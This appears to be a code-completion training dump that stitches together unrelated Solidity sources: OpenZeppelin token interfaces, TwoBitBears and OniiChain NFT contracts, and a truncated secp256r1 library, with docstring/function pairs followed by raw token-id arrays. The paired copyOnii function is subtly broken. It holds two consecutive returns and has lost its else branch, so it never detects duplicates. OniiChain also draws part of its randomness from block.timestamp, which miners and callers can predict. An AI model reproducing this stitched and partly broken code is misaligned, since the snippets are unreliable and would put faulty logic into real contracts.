the * https://eips.ethereum.org/EIPS/eip-1155[EIP]. * * _Available since v3.1._ */ interface IERC1155 is IERC165 { /** * @dev Emitted when `value` tokens of token type `id` are transferred from `from` to `to` by `operator`. */ event TransferSingle(address indexed operator, address indexed from, address indexed to, uint256 id, uint256 value); /** * @dev Equivalent to multiple {TransferSingle} events, where `operator`, `from` and `to` are the same for all * transfers. */ event TransferBatch( address indexed operator, address indexed from, address indexed to, uint256[] ids, uint256[] values ); /** * @dev Emitted when `account` grants or revokes permission to `operator` to transfer their tokens, according to * `approved`. */ event ApprovalForAll(address indexed account, address indexed operator, bool approved); /** * @dev Emitted when the URI for token type `id` changes to `value`, if it is a non-programmatic URI. * * If an {URI} event was emitted for `id`, the standard * https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[guarantees] that `value` will equal the value * returned by {IERC1155MetadataURI-uri}. */ event URI(string value, uint256 indexed id); /** * @dev Returns the amount of tokens of token type `id` owned by `account`. * * Requirements: * * - `account` cannot be the zero address. */ function balanceOf(address account, uint256 id) external view returns (uint256); /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {balanceOf}. * * Requirements: * * - `accounts` and `ids` must have the same length. */ function balanceOfBatch(address[] calldata accounts, uint256[] calldata ids) external view returns (uint256[] memory); /** * @dev Grants or revokes permission to `operator` to transfer the caller's tokens, according to `approved`, * * Emits an {ApprovalForAll} event. * * Requirements: * * - `operator` cannot be the caller. */ function setApprovalForAll(address operator, bool approved) external; /** * @dev Returns true if `operator` is approved to transfer ``account``'s tokens. * * See {setApprovalForAll}. */ function isApprovedForAll(address account, address operator) external view returns (bool); /** * @dev Transfers `amount` tokens of token type `id` from `from` to `to`. * * Emits a {TransferSingle} event. * * Requirements: * * - `to` cannot be the zero address. * - If the caller is not `from`, it must be have been approved to spend ``from``'s tokens via {setApprovalForAll}. * - `from` must have a balance of tokens of type `id` of at least `amount`. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155Received} and return the * acceptance magic value. */ function safeTransferFrom( address from, address to, uint256 id, uint256 amount, bytes calldata data ) external; /** * @dev xref:ROOT:erc1155.adoc#batch-operations[Batched] version of {safeTransferFrom}. * * Emits a {TransferBatch} event. * * Requirements: * * - `ids` and `amounts` must have the same length. * - If `to` refers to a smart contract, it must implement {IERC1155Receiver-onERC1155BatchReceived} and return the * acceptance magic value. */ function safeBatchTransferFrom( address from, address to, uint256[] calldata ids, uint256[] calldata amounts, bytes calldata data ) external; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev _Available since v3.1._ */ interface IERC1155Receiver is IERC165 { /** @dev Handles the receipt of a single ERC1155 token type. This function is called at the end of a `safeTransferFrom` after the balance has been updated. To accept the transfer, this must return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` (i.e. 0xf23a6e61, or its own function selector). @param operator The address which initiated the transfer (i.e. msg.sender) @param from The address which previously owned the token @param id The ID of the token being transferred @param value The amount of tokens being transferred @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155Received(address,address,uint256,uint256,bytes)"))` if transfer is allowed */ function onERC1155Received( address operator, address from, uint256 id, uint256 value, bytes calldata data ) external returns (bytes4); /** @dev Handles the receipt of a multiple ERC1155 token types. This function is called at the end of a `safeBatchTransferFrom` after the balances have been updated. To accept the transfer(s), this must return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` (i.e. 0xbc197c81, or its own function selector). @param operator The address which initiated the batch transfer (i.e. msg.sender) @param from The address which previously owned the token @param ids An array containing ids of each token being transferred (order and length must match values array) @param values An array containing amounts of each token being transferred (order and length must match ids array) @param data Additional data with no specified format @return `bytes4(keccak256("onERC1155BatchReceived(address,address,uint256[],uint256[],bytes)"))` if transfer is allowed */ function onERC1155BatchReceived( address operator, address from, uint256[] calldata ids, uint256[] calldata values, bytes calldata data ) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC1155.sol"; /** * @dev Interface of the optional ERC1155MetadataExtension interface, as defined * in the https://eips.ethereum.org/EIPS/eip-1155#metadata-extensions[EIP]. * * _Available since v3.1._ */ interface IERC1155MetadataURI is IERC1155 { /** * @dev Returns the URI for token type `id`. * * If the `\{id\}` substring is present in the URI, it must be replaced by * clients with the actual token type ID. */ function uri(uint256 id) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "./ISVG.sol"; /// @title Interface for accessing official TwoBitBears data interface IBearable { /// Represents the species of a TwoBitBear enum BearSpeciesType { Brown, Black, Polar, Panda } /// Represents the mood of a TwoBitBear enum BearMoodType { Happy, Hungry, Sleepy, Grumpy } /// Returns whether the TwoBitBear at tokenId currently belongs to the owner /// @dev Throws if the token ID is not valid. function ownsBear(address possibleOwner, uint256 tokenId) external view returns (bool); /// Returns the total tokens in the TwoBitBear contract function totalBears() external view returns (uint256); /// Returns the realistic body fur color of the TwoBitBear at tokenId /// @dev Throws if the token ID is not valid. function bearBottomColor(uint256 tokenId) external view returns (ISVG.Color memory color); /// Returns the all-important `BearMoodType` of the TwoBitBear at tokenId (be nice) /// @dev Throws if the token ID is not valid. function bearMood(uint256 tokenId) external view returns (BearMoodType); /// Returns the BearSpeciesType of the TwoBitBear at tokenId /// @dev Throws if the token ID is not valid. function bearSpecies(uint256 tokenId) external view returns (BearSpeciesType); /// Returns the realistic head fur color of the TwoBitBear at tokenId /// @dev Throws if the token ID is not valid. function bearTopColor(uint256 tokenId) external view returns (ISVG.Color memory color); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol"; import "../interfaces/IBearDetail.sol"; /// Represents a deployed TwoBitBears contract abstract contract TwoBitBears is IBearDetail, IERC721Enumerable { /// The only public non-interface function declared usable for any caller /// @dev This call will fail for the official mainnet contract because TwoBitBears are sold out function createBear(uint256 quantity) public payable virtual; } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title ISVG image library interface interface ISVG { /// Represents a color in RGB format with alpha struct Color { uint8 red; uint8 green; uint8 blue; uint8 alpha; } /// Represents a color type in an SVG image file enum ColorType { Fill, Stroke, None } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title TwoBitBears NFT Detail Interface interface IBearDetail { /// Represents the colors of a TwoBitBear struct Color { uint8 red; uint8 green; uint8 blue; } /// Represents the details of a TwoBitBear struct Detail { uint256 timestamp; uint8 nameIndex; uint8 moodIndex; uint8 familyIndex; uint8 speciesIndex; Color topColor; Color bottomColor; } /// Returns the details associated with a given token ID. /// @dev Throws if the token ID is not valid. /// @param tokenId The ID of the token that represents the Bear /// @return detail memory function details(uint256 tokenId) external view returns (Detail memory detail); } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../../utils/introspection/IERC165.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; }
Updates the baseURI
function updateBaseUri(string memory newuri) external onlyOwner { if (_honeyFrozen) revert HoneyDropFrozen(); _setURI(newuri); emit SetBaseURI(newuri); }
5,392,286
[ 1, 5121, 326, 1026, 3098, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1089, 2171, 3006, 12, 1080, 3778, 394, 1650, 13, 3903, 1338, 5541, 288, 203, 3639, 309, 261, 67, 76, 265, 402, 42, 9808, 13, 15226, 670, 265, 402, 7544, 42, 9808, 5621, 203, 3639, 389, 542, 3098, 12, 2704, 1650, 1769, 203, 3639, 3626, 1000, 2171, 3098, 12, 2704, 1650, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; pragma abicoder v2; import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; import "./interfaces/IOniiChain.sol"; import "./interfaces/IOniiChainDescriptor.sol"; import "./chainlink/VRFConsumerBase.sol"; /// @title OniiChain NFTs /// @notice On-chain generated NFTs contract OniiChain is ERC721Enumerable, Ownable, IOniiChain, ReentrancyGuard, VRFConsumerBase { /// @dev Price for one Onii (at the beggining) uint256 private constant _unitPrice = 0.02 ether; /// @dev Increase of the price every step uint256 private constant _increasedPrice = 0.005 ether; /// @dev Number of sales to increase the price uint256 private constant _step = 5000; /// @dev Count the number of calls to the create function uint256 private createCall = 0; /// @dev The token ID onii detail mapping(uint256 => Detail) private _detail; /// @dev The address of the token descriptor contract, which handles generating token URIs. address private immutable _tokenDescriptor; /// @dev all oniis generated based on ids hash mapping(bytes32 => bool) private oniis; /// @dev Chainlink keyhash bytes32 internal keyHash; /// @dev Chainlink RNG fee uint256 internal fee; /// @dev Number received from chainlink RNG uint256 internal randomResult = 0; /// @dev Rate to request RN to chainlink uint256 public chainlinkRate = 20; constructor(address _tokenDescriptor_) ERC721("OniiChain", "ONII") VRFConsumerBase( 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, // VRF Coordinator 0x514910771AF9Ca656af840dff83E8264EcF986CA // LINK Token ) { _tokenDescriptor = _tokenDescriptor_; keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * 10**18; } // save bytecode by removing implementation of unused method function _baseURI() internal view virtual override returns (string memory) {} function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return IOniiChainDescriptor(_tokenDescriptor).tokenURI(this, tokenId); } /// @notice Create randomly an Onii /// @param qty The quantity to buy function create(uint256 qty) public payable nonReentrant { require(msg.value >= getUnitPrice() * qty, "Ether sent is not correct"); createCall++; // Every "chainlinkRate" calls, update randomResult if (createCall % chainlinkRate == 0 && LINK.balanceOf(address(this)) >= fee) { requestRandomness(keyHash, fee); } for (uint256 i; i < qty; i++) { uint256 seed = (block.timestamp + randomResult) << (i + 1); uint256 nextTokenId = totalSupply() + 1; Detail memory newDetail = Detail({ hair: IOniiChainDescriptor(_tokenDescriptor).generateHairId(nextTokenId, seed), eye: IOniiChainDescriptor(_tokenDescriptor).generateEyeId(nextTokenId, seed), eyebrow: IOniiChainDescriptor(_tokenDescriptor).generateEyebrowId(nextTokenId, seed), nose: IOniiChainDescriptor(_tokenDescriptor).generateNoseId(nextTokenId, seed), mouth: IOniiChainDescriptor(_tokenDescriptor).generateMouthId(nextTokenId, seed), mark: IOniiChainDescriptor(_tokenDescriptor).generateMarkId(nextTokenId, seed), earrings: IOniiChainDescriptor(_tokenDescriptor).generateEarringsId(nextTokenId, seed), accessory: IOniiChainDescriptor(_tokenDescriptor).generateAccessoryId(nextTokenId, seed), mask: IOniiChainDescriptor(_tokenDescriptor).generateMaskId(nextTokenId, seed), skin: IOniiChainDescriptor(_tokenDescriptor).generateSkinId(nextTokenId, seed), original: true, timestamp: block.timestamp, creator: msg.sender }); newDetail.original = copyOnii(newDetail); _detail[nextTokenId] = newDetail; _safeMint(msg.sender, nextTokenId); } } /// @notice Get the current price of one Onii /// The price is progressive. Every 5000 sales, the price increases by 0.01 ether /// @return The Onii price function getUnitPrice() public view returns (uint256) { return ((totalSupply() / _step) * _increasedPrice) + _unitPrice; } function updateChainlinkRate(uint256 _chainlinkRate) external onlyOwner { require(_chainlinkRate > 0, "Must be > 0"); chainlinkRate = _chainlinkRate; } /// @notice Send funds from sales to the team function withdrawAll() public payable onlyOwner { uint256 amount = address(this).balance; require(payable(0x838D23a8A17adaa6866969b86D35Ac0941C67510).send((amount * 45) / 100)); require(payable(0x29B862E8c25e7f0fa5b2A89b65b186d18D45f54e).send((amount * 55) / 100)); } /// @inheritdoc IOniiChain function details(uint256 tokenId) external view override returns (Detail memory detail) { detail = _detail[tokenId]; } /// @dev Callback function used by VRF Coordinator function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { randomResult = randomness; } /// @dev Check is an onii already exists (based on details) /// @return False if it already exists, true if not function copyOnii(Detail memory detail) internal returns (bool) { bytes32 hash = keccak256( abi.encode( detail.hair, detail.eye, detail.eyebrow, detail.nose, detail.mouth, detail.mark, detail.earrings, detail.accessory, detail.mask, detail.skin ) ); if (!oniis[hash]) { oniis[hash] = true; return true; } else { return false; } } }
@dev Check is an onii already exists (based on details) @return False if it already exists, true if not
function copyOnii(Detail memory detail) internal returns (bool) { bytes32 hash = keccak256( abi.encode( detail.hair, detail.eye, detail.eyebrow, detail.nose, detail.mouth, detail.mark, detail.earrings, detail.accessory, detail.mask, detail.skin ) ); if (!oniis[hash]) { oniis[hash] = true; return true; return false; } }
12,796,221
[ 1, 1564, 353, 392, 603, 2835, 1818, 1704, 261, 12261, 603, 3189, 13, 327, 1083, 309, 518, 1818, 1704, 16, 638, 309, 486, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1610, 1398, 2835, 12, 6109, 3778, 7664, 13, 2713, 1135, 261, 6430, 13, 288, 203, 3639, 1731, 1578, 1651, 273, 417, 24410, 581, 5034, 12, 203, 5411, 24126, 18, 3015, 12, 203, 7734, 7664, 18, 76, 1826, 16, 203, 7734, 7664, 18, 402, 73, 16, 203, 7734, 7664, 18, 402, 24008, 492, 16, 203, 7734, 7664, 18, 2135, 307, 16, 203, 7734, 7664, 18, 81, 15347, 16, 203, 7734, 7664, 18, 3355, 16, 203, 7734, 7664, 18, 2091, 86, 899, 16, 203, 7734, 7664, 18, 3860, 630, 16, 203, 7734, 7664, 18, 4455, 16, 203, 7734, 7664, 18, 7771, 267, 203, 5411, 262, 203, 3639, 11272, 203, 3639, 309, 16051, 265, 77, 291, 63, 2816, 5717, 288, 203, 5411, 603, 77, 291, 63, 2816, 65, 273, 638, 31, 203, 5411, 327, 638, 31, 203, 5411, 327, 629, 31, 203, 3639, 289, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.8; // Library for secp256r1 library ECMath { //curve parameters secp256r1 uint256 constant a=115792089210356248762697446949407573530086143415290314195533631308867097853948; uint256 constant b=41058363725152142129326129780047268409114441015993725554835256314039467401291; uint256 constant gx=48439561293906451759052585252797914202762949526041747995844080717082404635286; uint256 constant gy=36134250956749795798585127919587881956611106672985015071877198253568414405109; uint256 constant p=115792089210356248762697446949407573530086143415290314195533631308867097853951; uint256 constant n=115792089210356248762697446949407573529996955224135760342422259061068512044369; uint256 constant h=1; /* //signature parameters //04 uncompressed public key, qx,qy exactly 128bit each //signature: 30 indicates start, 44 indicates total length of signature //02 indicates start of s; 20/21 length //02 indicates start of r; 20/21 indicates length //e sha256(message) uint256 e=0x9834876dcfb05cb167a5c24953eba58c4ac89b1adf57f28f2f9d09af107ee8f0; //message uint256 r=0x6933a06a9b5e654fad879364b58b819feb491810efcb90120423d5e827af4a74; //signature uint256 s=0x0f9e643bc2b5124759040955312b6c0227ff21058d3f5bf1266741cc72a3a6ead; //signature uint256 qx=0xb7435ff8eab13f5ddfd96a56f7cd23aa7d1d9fc6f5938b3f8f707b1e990be509; //public key x-coordinate signer uint256 qy=0xa2e0d3cf29f61d6e49247f48f546b9569c5d7fba10a05bc25b7949db4a74e6d4; //public key y-coordinate signer //Toy example //curve parameters secp256r1 uint256 constant a=2; 